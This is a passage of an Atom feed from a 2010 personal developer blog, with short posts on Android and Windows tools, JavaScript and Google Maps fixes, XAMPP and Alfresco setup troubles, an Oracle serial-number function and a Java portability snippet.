src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3406073286184706042</id><published>2010-09-13T04:34:00.000-07:00</published><updated>2010-09-13T04:34:44.389-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Android-Notifier-Desktop'/><category scheme='http://www.blogger.com/atom/ns#' term='android phone notifier'/><category scheme='http://www.blogger.com/atom/ns#' term='android desktop notifier'/><category scheme='http://www.blogger.com/atom/ns#' term='google android notifier'/><title type='text'>Android-Notifier-Desktop</title><content type='html'>Hi,&lt;br /&gt;I found really a great tool useful for phones based on Andriod.&amp;nbsp; If you don't want to deal with your phone while you're at your  computer, free app Android Notifier will send all your phone's call,  SMS, and battery notifications to your desktop. Check out below link for more details.&lt;br /&gt;&lt;a href="http://code.google.com/p/android-notifier-desktop/"&gt;&lt;br /&gt;Android-Notifier-Desktop&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3406073286184706042?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3406073286184706042/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3406073286184706042' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3406073286184706042'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3406073286184706042'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/09/android-notifier-desktop.html' title='Android-Notifier-Desktop'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-178867793967006969</id><published>2010-09-13T04:28:00.000-07:00</published><updated>2010-09-13T04:28:04.586-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows portable applications'/><category scheme='http://www.blogger.com/atom/ns#' term='freeware cameyo'/><category scheme='http://www.blogger.com/atom/ns#' term='Cameyo'/><category scheme='http://www.blogger.com/atom/ns#' term='portalble applications'/><category scheme='http://www.blogger.com/atom/ns#' term='cameyo for windows'/><title type='text'>Create a Portable Version of Just About Any Program</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;If you're a big fan of portable applicatons&lt;a href="http://lifehacker.com/tag/portable-applications/"&gt;&lt;/a&gt;, but there isn't a portable version of your favorite app out there, free app Cameyo will create one for you.  &lt;br /&gt;&lt;br /&gt;Cameyo is a free download for Windows only.&lt;br /&gt;&lt;br /&gt;I tried it and it works really great..&lt;br /&gt;&lt;br /&gt;&lt;a href="http://www.cameyo.com/"&gt;Cameyo&lt;/a&gt; [via &lt;a href="http://www.freewaregenius.com/2010/09/09/cameyo-competent-free-program-virtualization-app-can-create-portable-executables-from-any-application/"&gt;Freeware Genius&lt;/a&gt;]&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-178867793967006969?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/178867793967006969/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=178867793967006969' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/178867793967006969'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/178867793967006969'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/09/create-portable-version-of-just-about.html' title='Create a Portable Version of Just About Any Program'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7204350248801194972</id><published>2010-07-05T05:59:00.000-07:00</published><updated>2010-07-05T05:59:20.089-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Message: Annoying Javascript Error'/><category scheme='http://www.blogger.com/atom/ns#' term='Message: Not Implemented'/><category scheme='http://www.blogger.com/atom/ns#' term='Message: Not Implemented (Annoying Javascript Error)'/><title type='text'>Message: Not Implemented (Annoying Javascript Error)</title><content type='html'>Hello Everyone,&lt;br /&gt;&lt;br /&gt;Recently i was doing some development stuff on&amp;nbsp;Google&amp;nbsp;maps API. After i finished my integration of google maps and google street view API with my application, during testing, i found an annoying&amp;nbsp;Message: Not Implemented error message and the line number to which it was pointing was 1 and was senseless. I did'nt get this error on other browsers like Chrome &amp;amp; Firefox. This error was specific to internet explorer only (Why the hell they keep javascript's different for&amp;nbsp;different&amp;nbsp;browser's god knows !!!). Well, so i did some&amp;nbsp;research&amp;nbsp;and ultimately found a solution.&lt;br /&gt;&lt;br /&gt;The error was in one of my javascript's onload function.&lt;br /&gt;&lt;br /&gt;In my buggy code it was something like below ::&lt;br /&gt;&lt;br /&gt;body.onload=loadMap();&lt;br /&gt;&lt;br /&gt;I removed those open close parenthesis and my error got vanished. &lt;br /&gt;&lt;br /&gt;body.onload=loadMap;&lt;br /&gt;&lt;br /&gt;Internet explorer was really pointing to a strange line number to which you can never imagine this sort of error.&lt;br /&gt;&lt;br /&gt;Anyways, thank god to internet explorer 8 javascript debugger which really helped me in finding the correct issue.&lt;br /&gt;&lt;br /&gt;Cheers,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7204350248801194972?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7204350248801194972/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7204350248801194972' title='18 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7204350248801194972'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7204350248801194972'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/07/message-not-implemented-annoying.html' title='Message: Not Implemented (Annoying Javascript Error)'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>18</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-415441501843437353</id><published>2010-07-01T02:55:00.000-07:00</published><updated>2010-07-01T02:55:21.963-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='streetview'/><category scheme='http://www.blogger.com/atom/ns#' term='Google Street View availability validation; Google Maps API used to map multiple locations.'/><title type='text'>Google Street View availability validation</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Yesterday, i was working on street view google maps api, i faced an issue on validating some addresses as well as some latitude longitude data for street view. As street view is avaiable only for some locations, some addresses were showing as blank on street view. I managed to validate that via code mentioned below.&lt;br /&gt;&lt;br /&gt;function showStreetViewGoogleMaps()&lt;br /&gt;{&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&amp;nbsp;var svClient = new GStreetviewClient();&lt;br /&gt;&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;svClient.getNearestPanoramaLatLng(point, function (nearest) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;if ((nearest !== null) &amp;amp;&amp;amp; (point.distanceFrom(nearest) &amp;lt;= 100)) {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;alert('Street view available'); &lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;else {&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; alert('Street view not available'); &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;// Not within 100 meters&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;}&lt;br /&gt;&amp;nbsp;&amp;nbsp; &amp;nbsp; &amp;nbsp; });&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;This is how i managed to validate street view for google maps.&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-415441501843437353?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/415441501843437353/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=415441501843437353' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/415441501843437353'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/415441501843437353'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/07/google-street-view-availability.html' title='Google Street View availability validation'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1495286659799781294</id><published>2010-06-24T01:24:00.000-07:00</published><updated>2010-06-24T03:44:52.992-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Problem running Apache 2.2 with XAMPP'/><category scheme='http://www.blogger.com/atom/ns#' term='Problems with Apache 2.2'/><category scheme='http://www.blogger.com/atom/ns#' term='XAMPP'/><category scheme='http://www.blogger.com/atom/ns#' term='Apache'/><title type='text'>Problem running Apache 2.2 with XAMPP</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Today i was installing XAMPP on windows 7 desktop. Well, the installation gone perfectly well. Finally, i was able to access XAMPP control panel, but, the moment i started apache 2.2, it failed. Then i installed it as a service and then started, but it was still in vain.&lt;br /&gt;&lt;br /&gt;Later on, i changed C:\xampp\apache\conf\httpd.conf file contents as below&lt;br /&gt;&lt;br /&gt;Listen 80&lt;br /&gt;&lt;br /&gt;to&lt;br /&gt;&lt;br /&gt;Listen 81&lt;br /&gt;&lt;br /&gt;and then restarted the service, finally it worked.&lt;br /&gt;&lt;br /&gt;The reason why i changed the port is because i later on found that skype also listens to the same port which was a default port for Apache 2.2&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1495286659799781294?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1495286659799781294/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1495286659799781294' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1495286659799781294'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1495286659799781294'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/06/problem-running-apache-22-with-xampp.html' title='Problem running Apache 2.2 with XAMPP'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3949973704863930793</id><published>2010-06-22T23:04:00.000-07:00</published><updated>2010-06-22T23:04:14.209-07:00</updated><title type='text'>Now Predict through Google Search  (funny)</title><content type='html'>&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://4.bp.blogspot.com/_UrKwGB_jepk/TCGjs4jRpMI/AAAAAAAAANU/bAKYVQSfOfQ/s1600/chetan_study.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="286" src="http://4.bp.blogspot.com/_UrKwGB_jepk/TCGjs4jRpMI/AAAAAAAAANU/bAKYVQSfOfQ/s640/chetan_study.jpg" width="640" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3949973704863930793?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3949973704863930793/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3949973704863930793' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3949973704863930793'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3949973704863930793'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/06/now-predict-through-google-search-funny.html' title='Now Predict through Google Search  (funny)'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://4.bp.blogspot.com/_UrKwGB_jepk/TCGjs4jRpMI/AAAAAAAAANU/bAKYVQSfOfQ/s72-c/chetan_study.jpg' height='72' width='72'/><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-7083399364002540648</id><published>2010-06-22T06:25:00.000-07:00</published><updated>2010-06-22T06:25:43.909-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Generating Serial Numbers from Database'/><title type='text'>Generating Serial Numbers from Database</title><content type='html'>Hi,&lt;br /&gt;&lt;br /&gt;Recently, in one of my e-commerce applications, there was a need for generating a unique serial number. I tried for all possibilities from java code but some one suggested to do this from backend. I tried for below mentioned way and it worked finally.&lt;br /&gt;&lt;br /&gt;CREATE TYPE ARRAY AS TABLE OF VARCHAR2(10)&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;CREATE FUNCTION  MY_NUMBERS(N IN NUMBER DEFAULT NULL)&lt;br /&gt;RETURN ARRAY&lt;br /&gt;PIPELINED&lt;br /&gt;AS&lt;br /&gt;BEGIN&lt;br /&gt;FOR j IN 1 .. NVL(N,10)&lt;br /&gt;LOOP&lt;br /&gt;PIPE ROW('ACUPRO'||lpad(j,5,0));&lt;br /&gt;END LOOP;&lt;br /&gt;RETURN;&lt;br /&gt;END;&lt;br /&gt;/&lt;br /&gt;&lt;br /&gt;select * from  TABLE(MY_NUMBERS(3));&lt;br /&gt;&lt;br /&gt;COLUMN_VAL&lt;br /&gt;----------&lt;br /&gt;ACUPRO00001&lt;br /&gt;ACUPRO00002&lt;br /&gt;ACUPRO00003 &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Regards,&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-7083399364002540648?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/7083399364002540648/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=7083399364002540648' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7083399364002540648'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/7083399364002540648'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/06/generating-serial-numbers-from-database.html' title='Generating Serial Numbers from Database'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1090122919951616552</id><published>2010-06-11T05:18:00.000-07:00</published><updated>2010-06-11T05:18:48.204-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='porting java'/><title type='text'>Porting Java</title><content type='html'>&lt;div class="ArticleBody"&gt;Love it or hate it, one of the great things  about Java is its portability. It abstracts out many of the  platform-specific things so that you, the programmer, need not worry  about things like file systems and how to create directories and the  like.&amp;nbsp; &lt;i&gt;Not a big deal&lt;/i&gt;, he thought, &lt;i&gt;that's what Java  was built for&lt;/i&gt; ...&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;&lt;span style="color: #000099;"&gt;public static&lt;/span&gt; MultipartRequest createMultipartRequest (HttpServletRequest req) &lt;br /&gt;  &lt;span style="color: #000099;"&gt;throws&lt;/span&gt; IOException&lt;br /&gt;{&lt;br /&gt;   [SNIP]&lt;br /&gt;&lt;br /&gt;   &lt;span style="color: #006600;"&gt;// Create a temp directory for the attachments&lt;/span&gt;&lt;br /&gt;   Runtime.getRuntime().exec (&lt;span style="color: #990000;"&gt;"mkdir -p "&lt;/span&gt; + Constants.UPLOAD_PATH);&lt;br /&gt;&lt;br /&gt;   File check = new File (Constants.UPLOAD_PATH);&lt;br /&gt;&lt;br /&gt;   [SNIP]&lt;br /&gt;&lt;br /&gt;}&lt;/pre&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-1090122919951616552?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/1090122919951616552/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=1090122919951616552' title='2 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1090122919951616552'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/1090122919951616552'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/06/porting-java.html' title='Porting Java'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>2</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-3145924470799149657</id><published>2010-06-10T04:06:00.000-07:00</published><updated>2010-06-10T04:06:08.581-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Installing Alfresco on windows 7'/><title type='text'>Update on Alfresco Installation on Windows 7</title><content type='html'>Hello Everyone,&lt;br /&gt;&lt;br /&gt;I finally managed to run Alfresco on my Windows 7&amp;nbsp; desktop.&lt;br /&gt;&lt;br /&gt;I edited some lines in alfresco-global.properties located under C:\Alfresco\tomcat\shared\classes. This is a global file used for configuration of email/database etc for Alfresco Server.&lt;br /&gt;&lt;br /&gt;I was using mysql database for Alfresco, so my DB hostname entry in this file was&lt;br /&gt;&lt;br /&gt;db.name=alfresco&lt;br /&gt;db.username=alfresco&lt;br /&gt;db.password=alfresco&lt;br /&gt;db.host=localhost&lt;br /&gt;db.port=3306&lt;br /&gt;&lt;br /&gt;i changed it to&lt;br /&gt;&lt;br /&gt;db.name=alfresco&lt;br /&gt;db.username=alfresco&lt;br /&gt;db.password=alfresco&lt;br /&gt;db.host=127.0.0.1&lt;br /&gt;db.port=3306&lt;br /&gt;&lt;br /&gt;and my server got up and running.&lt;br /&gt;&lt;br /&gt;Cheers!!!&lt;br /&gt;&lt;br /&gt;Ujjwal Soni&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-3145924470799149657?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/3145924470799149657/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=3145924470799149657' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3145924470799149657'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/3145924470799149657'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/06/update-on-alfresco-installation-on.html' title='Update on Alfresco Installation on Windows 7'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-2361712239798698658</id><published>2010-06-10T03:51:00.000-07:00</published><updated>2010-06-11T05:15:34.092-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Installing Alfresco on windows 7'/><title type='text'>Installing Alfresco on Windows 7</title><content type='html'>Hi All,&lt;br /&gt;&lt;br /&gt;I am installing Alfresco-Community-3.3-Full version on my windows-7 desktop. After successful installation, when i am trying to run Alfresco Server. I get below error. I tried for many sources, but still i am not able to find any solution. I am still working for a solution to this problem. Hopefully, will post a solution to this problem soon.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;INFO: The listener "org.apache.myfaces.webapp.StartupServletContextListener" is already configured for this context. The duplicate definition has been ignored.&lt;br /&gt;16:10:56,353&amp;nbsp; INFO&amp;nbsp; [alfresco.config.JndiPropertiesFactoryBean] Loading properties file from class path resource [alfresco/repository.properties]&lt;br /&gt;16:10:56,383&amp;nbsp; INFO&amp;nbsp; [alfresco.config.JndiPropertiesFactoryBean] Loading properties file from class path resource [alfresco/domain/transaction.properties]&lt;br /&gt;16:10:56,414&amp;nbsp; INFO&amp;nbsp; [alfresco.config.JndiPropertiesFactoryBean] Loading properties file from URL [file:/C:/Alfresco/tomcat/shared/classes/alfresco-global.properties]&lt;br /&gt;16:10:56,588&amp;nbsp; INFO&amp;nbsp; [alfresco.config.JndiPropertyPlaceholderConfigurer] Loading properties file from class path resource [alfresco/alfresco-shared.properties]&lt;br /&gt;16:11:07,845&amp;nbsp; WARN&amp;nbsp; [hibernate.cfg.SettingsFactory] Could not obtain connection metadata&lt;br /&gt;org.apache.commons.dbcp.SQLNestedException: Cannot create PoolableConnectionFactory (Communications link failure&lt;br /&gt;&lt;br /&gt;Last packet sent to the server was 0 ms ago.)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.commons.dbcp.BasicDataSource.createDataSource(BasicDataSource.java:1225)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.apache.commons.dbcp.BasicDataSource.getConnection(BasicDataSource.java:880)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.springframework.orm.hibernate3.LocalDataSourceConnectionProvider.getConnection(LocalDataSourceConnectionProvider.java:81)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.hibernate.cfg.SettingsFactory.buildSettings(SettingsFactory.java:84)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.hibernate.cfg.Configuration.buildSettings(Configuration.java:2073)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; at org.hibernate.cfg.Configuration.buildSessionFactory(Configuration.java:1298)&lt;br /&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;init&gt;&lt;init&gt;&lt;init&gt;&lt;init&gt;&lt;br /&gt;16:11:35,351&amp;nbsp; INFO&amp;nbsp; [extensions.webscripts.TemplateProcessorRegistry] Registered template processor freemarker for extension ftl&lt;/init&gt;&lt;/init&gt;&lt;/init&gt;&lt;/init&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/5435275999753254489-2361712239798698658?l=ujjwalbsoni.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://ujjwalbsoni.blogspot.com/feeds/2361712239798698658/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=5435275999753254489&amp;postID=2361712239798698658' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2361712239798698658'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5435275999753254489/posts/default/2361712239798698658'/><link rel='alternate' type='text/html' href='http://ujjwalbsoni.blogspot.com/2010/06/configuring-alfresco-on-windows-7.html' title='Installing Alfresco on Windows 7'/><author><name>Ujjwal Soni</name><uri>http://www.blogger.com/profile/05114450573216313353</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5435275999753254489.post-1300481424786916389</id><published>2010-06-03T03:47:00.000-07:00</published><updated>2010-06-03T03:47:30.715-07:00</updated><title type='text'>Reason why i love using firefox brower</title><content type='html'>&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;Hello Everyone,&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;Here is another reason why do I love using firefox. Some of you guys may already know it. For those who don't know, here it is.&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;Open firefox browser. In the URL bar, type following&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&amp;nbsp;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: verdana, arial, helvetica, sans-serif; font-size: 12px; line-height: 18px;"&gt;javadoc &lt;core_java_api_classname&gt;&lt;/core_java_api_classname&gt;&lt;/span&gt;&lt;span class="Apple-style-span" style="font-family: 